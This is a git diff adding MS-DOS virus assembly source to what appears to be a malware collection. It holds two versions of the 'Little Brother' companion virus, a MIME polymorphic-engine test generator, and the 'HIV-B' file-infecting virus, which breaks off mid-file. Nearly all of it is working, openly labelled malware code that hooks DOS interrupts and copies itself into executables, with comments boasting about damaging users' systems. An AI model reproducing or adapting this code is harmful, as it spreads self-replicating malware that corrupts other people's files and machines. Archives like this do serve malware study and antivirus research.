scasb + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ltbro307.asm b/MSDOS/Virus.MSDOS.Unknown.ltbro307.asm new file mode 100644 index 00000000..3853ba82 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ltbro307.asm @@ -0,0 +1,265 @@ +;**************************************************************************** +;* Little Brother version 2 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + .RADIX 16 + +FILELEN equ end - begin +RESPAR equ (FILELEN/16d) + 17d +VERSION equ 2 +oi21 equ end +nameptr equ end+4 +DTA equ end+8 + + +;**************************************************************************** +;* Install the program! +;**************************************************************************** + + org 100h + +begin: cld + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + mov dx,offset ni21 + lodsw + cmp ax,dx ;already installed? + je cancel + stosw + movsw + + push es ;set vector to new handler + pop ds + mov ax,2521h + int 21h + +cancel: ret + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh ;get old DTA + int 21 + push es + push bx + + push cs ;set new DTA + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21 + + call searchpoint + push di + mov si,offset COM_txt ;is extension 'COM'? + mov cx,3 + rep cmpsb + pop di + jz do_com + + mov si,offset EXE_txt ;is extension 'EXE'? + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ah,25h + push ax + int 21 + + lds dx,dword ptr [nameptr] ;create the virus (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the virus + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;no, delete the virus + mov ah,41h + int 21 + +return1: pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext ;execute EXE-file + +return: mov ah,1Ah ;restore old DTA + pop dx + pop ds + int 21 + + ret + +do_com: call findfirst ;is the COM-file a virus? + cmp word ptr cs:[DTA+1Ah],FILELEN + jne return ;no, execute COM-file + mov si,offset EXE_txt ;does the EXE-variant exist? + call change_ext + call findfirst + jnc return ;yes, execute EXE-file + mov si,offset COM_txt ;change extension to COM + call change_ext + jmp short return ;execute COM-file + + +;**************************************************************************** +;* Find the file +;**************************************************************************** + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21 + ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/MSDOS/Virus.MSDOS.Unknown.ltbro321.asm b/MSDOS/Virus.MSDOS.Unknown.ltbro321.asm new file mode 100644 index 00000000..cc6cdc00 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ltbro321.asm @@ -0,0 +1,256 @@ +;**************************************************************************** +;* Little Brother version 3 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + .RADIX 16 + +FILELEN equ end - begin +oi21 equ end +nameptr equ end+4 + + +;**************************************************************************** +;* Install the program! +;**************************************************************************** + + org 100h + +begin: cld + mov sp,300 + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + mov dx,offset ni21 + lodsw + cmp ax,dx ;already installed? + je cancel + stosw + movsw + + push es ;set vector to new handler + pop ds + mov ax,2521h + int 21h + +cancel: push cs ;restore segment registers + pop ds + push cs + pop es + + mov bx,30 ;free memory + mov ah,4A + int 21 + + mov es,ds:[002C] ;search filename in environment + mov di,0 + mov ch,0FFh + mov al,01 + repnz scasb + inc di + + mov word ptr [nameptr],di + mov word ptr [nameptr+2],es + + mov si,offset EXE_txt ;change extension to .EXE + call change_ext + + push cs + pop es + mov bx,offset param ;make EXEC param. block + mov [bx+4],cs + mov [bx+8],cs + mov [bx+0C],cs + lds dx,dword ptr [nameptr] + mov ax,4B00 ;execute .EXE program + int 21 + mov ah,4Dh ;ask return code + int 21 + mov ah,4Ch ;exit with same return code + int 21 + + +;**************************************************************************** +;* EXEC parameter block +;**************************************************************************** + +param dw 0, 80, ?, 5C, ?, 6C, ? + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + push cs + pop ds + call searchpoint + mov si,offset EXE_txt ;is extension 'EXE'? + mov cx,3 + rep cmpsb + jnz return + + mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ah,25h + push ax + int 21 + + lds dx,dword ptr [nameptr] ;create the virus (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the virus + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;no, delete the virus + mov ah,41h + int 21 + +return1: pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext ;execute .EXE program + +return: ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + diff --git a/MSDOS/Virus.MSDOS.Unknown.lz.zip b/MSDOS/Virus.MSDOS.Unknown.lz.zip new file mode 100644 index 00000000..b795ae59 Binary files /dev/null and b/MSDOS/Virus.MSDOS.Unknown.lz.zip differ diff --git a/MSDOS/Virus.MSDOS.Unknown.m-gen.asm b/MSDOS/Virus.MSDOS.Unknown.m-gen.asm new file mode 100644 index 00000000..05f8f64c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.m-gen.asm @@ -0,0 +1,85 @@ +.286 +.model small +.code + org 0100h + +msg_addr equ offset msg - offset proc_start- 3 + + extrn mime:near,emime:near + + ; „H¤Uµ{¦””A°£¤F­nŖ`·NŖŗ¦a¤č¦³Ŗ`øŃ”AØä„¦³”„÷¦Ū¤v¬ćØs + +start: + mov ah,09h + mov dx,offset dg_msg + int 21h + + mov ax,offset emime+000fh ; „»µ{¦” + mime+000fh ¤§«įŖŗ¦ģ§} + ; ­Y“ī 0100h «h¦Ø¬°„»µ{¦” + mime ŖŗŖų«× + + shr ax,4 + mov bx,cs + add bx,ax + + mov es,bx ; ³] es „ĪØÓ©ńøŃ½Xµ{¦”©M³Q½s½Xøź®Ę + ; øŃ½Xµ{¦”³Ģ¤j¬° 1024 bytes + ; ­Y„Φb±`¾nµ{¦”®É”A«h¶·Ŗ`·N¤Ą°tŖŗ°O¾ŠÅé¤j¤p + + mov cx,50 +dg_l0: + push cx + mov ah,3ch + xor cx,cx + mov dx,offset file_name + int 21h + xchg bx,ax + + mov cx,offset proc_end-offset proc_start ; ³Q½s½Xµ{¦”ŖŗŖų«× + + mov si,offset proc_start ; ds:si -> ­n³Q½s½XŖŗµ{¦”¦ģ§} + xor di, di + + push bx ; «O¦s file handle + + mov bx, 100h ; com ¼Ņ¦” + + call mime + + pop bx + + mov ah,40h ; Ŗš¦^®É ds:dx = øŃ½Xµ{¦” + ³Q½s½Xµ{¦”Ŗŗ¦ģ§} + int 21h ; cx = øŃ½Xµ{¦” + ³Q½s½Xµ{¦”ŖŗŖų«×”AØä„¦¼Č¦s¾¹¤£ÅÜ + + mov ah,3eh + int 21h + + push cs + pop ds ; ±N ds ³]¦^ØÓ + + mov bx,offset file_num + inc byte ptr ds:[bx+0001h] + cmp byte ptr ds:[bx+0001h],'9' + jbe dg_l1 + inc byte ptr ds:[bx] + mov byte ptr ds:[bx+0001h],'0' +dg_l1: + pop cx + loop dg_l0 + mov ah,4ch + int 21h + +file_name db '000000' +file_num db '00.com',00h + +dg_msg db 'generates 50 mime encrypted test files.',0dh,0ah,'$' + +proc_start: + call $+0003h + pop dx + add dx,msg_addr + mov ah,09h + int 21h + int 20h +msg db 'This is test file.$' +proc_end: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.m_hivb.asm b/MSDOS/Virus.MSDOS.Unknown.m_hivb.asm new file mode 100644 index 00000000..da533519 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.m_hivb.asm @@ -0,0 +1,752 @@ + + +DATA_1E EQU 4CH ; Just a Few Data Segments that are +DATA_3E EQU 84H ; Needed for the virus to find some +DATA_5E EQU 90H ; hard core info... +DATA_7E EQU 102H +DATA_8E EQU 106H +DATA_9E EQU 122H +DATA_10E EQU 124H +DATA_11E EQU 15AH +DATA_12E EQU 450H +DATA_13E EQU 462H +DATA_14E EQU 47BH +DATA_15E EQU 0 +DATA_16E EQU 1 +DATA_17E EQU 2 +DATA_18E EQU 6 +DATA_42E EQU 0FB2CH +DATA_43E EQU 0FB2EH +DATA_44E EQU 0FB4BH +DATA_45E EQU 0FB4DH +DATA_46E EQU 0FB83H +DATA_47E EQU 0FB8DH +DATA_48E EQU 0FB8FH +DATA_49E EQU 0FB95H +DATA_50E EQU 0FB97H +DATA_51E EQU 0 +DATA_52E EQU 2 + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h ; Compile this to a .COM file! + ; So the Virus starts at 0100h +HIV PROC FAR + +START: + JMP LOC_35 + DB 0C3H + DB 23 DUP (0C3H) + DB 61H, 6EH, 74H, 69H, 64H, 65H + DB 62H, 0C3H, 0C3H, 0C3H, 0C3H + DB 'HIV-B Virus - Release 1.1 [NukE]' + DB ' ' +copyright DB '(C) Edited by Rock Steady [NukE]' + DB 0, 0 +DATA_24 DW 0 +DATA_25 DW 0 +DATA_26 DW 0 +DATA_27 DW 706AH +DATA_28 DD 00000H +DATA_29 DW 0 +DATA_30 DW 706AH +DATA_31 DD 00000H +DATA_32 DW 0 +DATA_33 DW 706AH +DATA_34 DB 'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH + DB 'Edited by Rock Steady [NukE]', 0AH, 0DH + DB '(C) 1991 Italian Virus Laboratory', 0AH, 0DH + DB '$' + DB 0E8H, 83H, 3, 3DH, 4DH, 4BH + DB 75H, 9, 55H, 8BH, 0ECH, 83H + DB 66H, 6, 0FEH, 5DH, 0CFH, 80H + DB 0FCH, 4BH, 74H, 12H, 3DH, 0 + DB 3DH, 74H, 0DH, 3DH, 0, 6CH + DB 75H, 5, 80H, 0FBH, 0, 74H + DB 3 +LOC_1: + JMP LOC_13 +LOC_2: + PUSH ES ; Save All Regesters so that when + PUSH DS ; we restore the program it will + PUSH DI ; RUN correctly and hide the fact + PUSH SI ; that any Virii is tampering with + PUSH BP ; the System.... + PUSH DX + PUSH CX + PUSH BX + PUSH AX + CALL SUB_6 + CALL SUB_7 + CMP AX,6C00H + JNE LOC_3 ; Jump if not equal + MOV DX,SI +LOC_3: + MOV CX,80H + MOV SI,DX + +LOCLOOP_4: + INC SI ; Slowly down the System a + MOV AL,[SI] ; little. + OR AL,AL ; Zero ? + LOOPNZ LOCLOOP_4 ; Loop if zf=0, cx>0 + + SUB SI,2 + CMP WORD PTR [SI],4D4FH + JE LOC_7 ; Jump if equal + CMP WORD PTR [SI],4558H + JE LOC_6 ; Jump if equal +LOC_5: + JMP SHORT LOC_12 ; + DB 90H +LOC_6: + CMP WORD PTR [SI-2],452EH + JE LOC_8 ; Jump if equal + JMP SHORT LOC_5 ; +LOC_7: + NOP + CMP WORD PTR [SI-2],432EH + JNE LOC_5 ; Jump if not equal +LOC_8: + MOV AX,3D02H + CALL SUB_5 + JC LOC_12 ; Jump if carry Set + MOV BX,AX + MOV AX,5700H + CALL SUB_5 ; Initsilize the virus... + MOV CS:DATA_24,CX ; A Basic Start up to check + MOV CS:DATA_25,DX ; The Interrup 21h + MOV AX,4200H + XOR CX,CX + XOR DX,DX + CALL SUB_5 + PUSH CS + POP DS + MOV DX,103H + MOV SI,DX + MOV CX,18H + MOV AH,3FH + CALL SUB_5 + JC LOC_10 ; Jump if carry Set + CMP WORD PTR [SI],5A4DH + JNE LOC_9 ; Jump if not equal + CALL SUB_1 + JMP SHORT LOC_10 +LOC_9: + CALL SUB_4 +LOC_10: + JC LOC_11 ; Jump if carry Set + MOV AX,5701H + MOV CX,CS:DATA_24 + MOV DX,CS:DATA_25 + CALL SUB_5 +LOC_11: + MOV AH,3EH ; '>' + CALL SUB_5 +LOC_12: + CALL SUB_7 + POP AX ; A Stealth Procedure to + POP BX ; end the virus and restore + POP CX ; the program! Pup back all + POP DX ; regesters as we found them! + POP BP ; so nothings changed... + POP SI + POP DI + POP DS + POP ES +LOC_13: + JMP CS:DATA_28 + DB 0B4H, 2AH, 0CDH, 21H, 0C3H + +HIV ENDP + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_1 PROC NEAR ; Start of the Virus! + MOV AH,2AH ; Get the Date system Date! + INT 21H ; If its Friday Display the + ; message at Data34 and End! + CMP AL,6 + JE LOC_15 ; If Friday display message + JNZ LOC_14 ; If not continue infecting +LOC_14: ; and screwing the system! + MOV CX,[SI+16H] + ADD CX,[SI+8] + MOV AX,10H + MUL CX ; dx:ax = reg * ax + ADD AX,[SI+14H] + ADC DX,0 + PUSH DX + PUSH AX + MOV AX,4202H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + CMP DX,0 + JNE LOC_16 ; Jump if not equal + CMP AX,64EH + JAE LOC_16 ; Jump if above or = + POP AX + POP DX + STC ; Set carry flag + RETN +LOC_15: + MOV DX,OFFSET DATA_34+18H ; Display Message at Data34! + MOV AH,9 ; With New Offset Address in + INT 21H ; memory! + ; + POP AX ; Restore all Regesters as if + POP BX ; nothing was changed and exit + POP CX ; virus and run File... + POP DX + POP SI + POP DI + POP BP + POP DS + POP ES + MOV AH,0 ; Exit Virus if your in a .EXE + INT 21H ; File!!! + ; Exit virus if your in a .COM + INT 20H ; File!!! +LOC_16: + MOV DI,AX + MOV BP,DX + POP CX + SUB AX,CX + POP CX + SBB DX,CX + CMP WORD PTR [SI+0CH],0 + JE LOC_RET_19 ; Jump if equal + CMP DX,0 + JNE LOC_17 ; Jump if not equal + CMP AX,64EH + JNE LOC_17 ; Jump if not equal + STC ; Set carry flag + RETN +LOC_17: + MOV DX,BP + MOV AX,DI + PUSH DX + PUSH AX + ADD AX,64EH + ADC DX,0 + MOV CX,200H + DIV CX ; Find out How much System + LES DI,DWORD PTR [SI+2] ; memory is available... + MOV CS:DATA_26,DI ; + MOV CS:DATA_27,ES ; Every so often make the + MOV [SI+2],DX ; system memory small than + CMP DX,0 ; what it already is... + JE LOC_18 ; Screws up the users hehe + INC AX +LOC_18: + MOV [SI+4],AX + POP AX + POP DX + CALL SUB_2 + SUB AX,[SI+8] + LES DI,DWORD PTR [SI+14H] + MOV DS:DATA_9E,DI + MOV DS:DATA_10E,ES + MOV [SI+14H],DX ; Tie up some memory! + MOV [SI+16H],AX ; release it on next execution + MOV DS:DATA_11E,AX ; Jump to su routine to do + MOV AX,4202H ; this and disable interrups + XOR CX,CX + XOR DX,DX + CALL SUB_5 + CALL SUB_3 + JC LOC_RET_19 + MOV AX,4200H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + MOV AH,40H + MOV DX,SI + MOV CX,18H + CALL SUB_5 +LOC_RET_19: + RETN +SUB_1 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_2 PROC NEAR + MOV CX,4 + MOV DI,AX + AND DI,0FH + +LOCLOOP_20: + SHR DX,1 ; Shift w/zeros fill + RCR AX,1 ; Rotate thru carry + LOOP LOCLOOP_20 ; Loop if cx > 0 + + MOV DX,DI + RETN +SUB_2 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_3 PROC NEAR + MOV AH,40H + MOV CX,64EH + MOV DX,100H + CALL SUB_6 + JMP SHORT LOC_24 + DB 90H + +;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_4: + MOV AX,4202H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + CMP AX,64EH + JB LOC_RET_23 ; Jump if below + CMP AX,0FA00H + JAE LOC_RET_23 ; Jump if above or = + PUSH AX + CMP BYTE PTR [SI],0E9H + JNE LOC_21 ; Jump if not equal + SUB AX,651H + CMP AX,[SI+1] + JNE LOC_21 ; Jump if not equal + POP AX + STC ; Set carry flag + RETN +LOC_21: + CALL SUB_3 + JNC LOC_22 ; Jump if carry=0 + POP AX + RETN +LOC_22: + MOV AX,4200H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + POP AX + SUB AX,3 + MOV DX,122H + MOV SI,DX + MOV BYTE PTR CS:[SI],0E9H + MOV CS:[SI+1],AX + MOV AH,40H + MOV CX,3 + CALL SUB_5 + +LOC_RET_23: + RETN +SUB_3 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_5 PROC NEAR +LOC_24: + PUSHF ; Push flags + CALL CS:DATA_28 + RETN +SUB_5 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_6 PROC NEAR + PUSH AX + PUSH DS + PUSH ES + XOR AX,AX ; Zero register + PUSH AX + POP DS + CLI ; Disable the interrupts + LES AX,DWORD PTR DS:DATA_5E ; This Copies the Virus + MOV CS:DATA_29,AX ; to the COM File... + MOV CS:DATA_30,ES + MOV AX,46AH + MOV DS:DATA_5E,AX + MOV WORD PTR DS:DATA_5E+2,CS + LES AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word.. + MOV CS:DATA_32,AX ; get your info needed on + MOV CS:DATA_33,ES ; System... + LES AX,CS:DATA_31 + MOV DS:DATA_1E,AX + MOV WORD PTR DS:DATA_1E+2,ES + STI ; Enable the interrupts + POP ES ; and restore regesters! + POP DS ; go back to the file + POP AX ; being executed... + RETN +SUB_6 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_7 PROC NEAR + PUSH AX + PUSH DS + PUSH ES + XOR AX,AX ; Zero register + PUSH AX + POP DS + CLI ; Disable interrupts + LES AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy + MOV DS:DATA_5E,AX ; yourself to the EXE + MOV WORD PTR DS:DATA_5E+2,ES + LES AX,DWORD PTR CS:DATA_32 + MOV DS:DATA_1E,AX + MOV WORD PTR DS:DATA_1E+2,ES + STI ; Enable interrupts + POP ES + POP DS + POP AX + RETN +SUB_7 ENDP + + DB 0B0H, 3, 0CFH, 50H, 53H, 51H + DB 52H, 56H, 57H, 55H, 1EH, 6 + DB 33H, 0C0H, 50H, 1FH, 8AH, 3EH + DB 62H, 4, 0A1H, 50H, 4, 2EH + DB 0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H + DB 4, 0A3H, 50H, 4, 2EH, 0A1H + DB 0C5H, 4, 8AH, 0DCH, 0B4H, 9 + DB 0B9H, 1, 0, 0CDH, 10H, 0E8H + DB 34H, 0, 0E8H, 0B7H, 0, 2EH + DB 0A1H, 0C7H, 4, 0A3H, 50H, 4 + DB 0B3H, 2, 0B8H, 2, 9, 0B9H + DB 1, 0, 0CDH, 10H, 2EH, 0A1H + DB 0CEH, 4, 0A3H, 50H, 4, 7 + DB 1FH + DB ']_^ZY[X.' + DB 0FFH, 2EH, 0CAH, 4 +DATA_36 DW 0 +DATA_37 DW 1010H +DATA_39 DB 0 +DATA_40 DD 706A0000H + DB 0, 0, 2EH, 0A1H, 0C7H, 4 + DB 8BH, 1EH, 4AH, 4, 4BH, 2EH + DB 0F6H, 6, 0C9H, 4, 1, 74H + DB 0CH, 3AH, 0C3H, 72H, 12H, 2EH + DB 80H, 36H, 0C9H, 4, 1, 0EBH + DB 0AH +LOC_25: + CMP AL,0 + JG LOC_26 ; Jump if > + XOR CS:DATA_39,1 +LOC_26: + TEST CS:DATA_39,2 + JZ LOC_27 ; Jump if zero + CMP AH,18H + JB LOC_28 ; Jump if below + XOR CS:DATA_39,2 + JMP SHORT LOC_28 +LOC_27: + CMP AH,0 + JG LOC_28 ; Jump if > + XOR CS:DATA_39,2 +LOC_28: + CMP BYTE PTR CS:DATA_36,20H + JE LOC_29 ; Jump if equal + CMP BYTE PTR CS:DATA_37+1,0 + JE LOC_29 ; Jump if equal + XOR CS:DATA_39,2 +LOC_29: + TEST CS:DATA_39,1 + JZ LOC_30 ; Jump if zero + INC BYTE PTR CS:DATA_37 + JMP SHORT LOC_31 +LOC_30: + DEC BYTE PTR CS:DATA_37 ; (706A:04C7=10H) +LOC_31: + TEST CS:DATA_39,2 ; (706A:04C9=0) + JZ LOC_32 ; Jump if zero + INC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H) + JMP SHORT LOC_RET_33 ; (0555) +LOC_32: + DEC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H) + +LOC_RET_33: + RETN + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_8 PROC NEAR + MOV AX,CS:DATA_37 + MOV DS:DATA_12E,AX ; Get info on type of Video + MOV BH,DS:DATA_13E ; Display the system has... + MOV AH,8 + INT 10H ; with ah=functn 08h + ; basically fuck the cursur.. + MOV CS:DATA_36,AX + RETN +SUB_8 ENDP + + DB 50H, 53H, 51H, 52H, 56H, 57H + DB 55H, 1EH, 6, 33H, 0C0H, 50H + DB 1FH, 81H, 3EH, 70H, 0, 6DH + DB 4, 74H, 35H, 0A1H, 6CH, 4 + DB 8BH, 16H, 6EH, 4, 0B9H, 0FFH + DB 0FFH, 0F7H, 0F1H, 3DH, 10H, 0 + DB 75H, 24H, 0FAH, 8BH, 2EH, 50H + DB 4, 0E8H, 0BEH, 0FFH, 89H, 2EH + DB 50H, 4, 0C4H, 6, 70H, 0 + DB 2EH, 0A3H, 0CAH, 4, 2EH, 8CH + DB 6, 0CCH, 4, 0C7H, 6, 70H + DB 0, 6DH, 4, 8CH, 0EH, 72H + DB 0, 0FBH +LOC_34: + POP ES + POP DS ; Restore and get lost... + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + RETN + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +SUB_9 PROC NEAR + MOV DX,10H + MUL DX ; dx:ax = reg * ax + RETN +SUB_9 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_10 PROC NEAR + XOR AX,AX ; If if wants to dissamble + XOR BX,BX ; us give him a HARD time... + XOR CX,CX ; By making all into 0 + XOR DX,DX ; Zero register + XOR SI,SI ; Zero register + XOR DI,DI ; Zero register + XOR BP,BP ; Zero register + RETN +SUB_10 ENDP + +LOC_35: + PUSH DS + CALL SUB_11 + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_11 PROC NEAR + MOV AX,4B4DH + INT 21H ; Load and 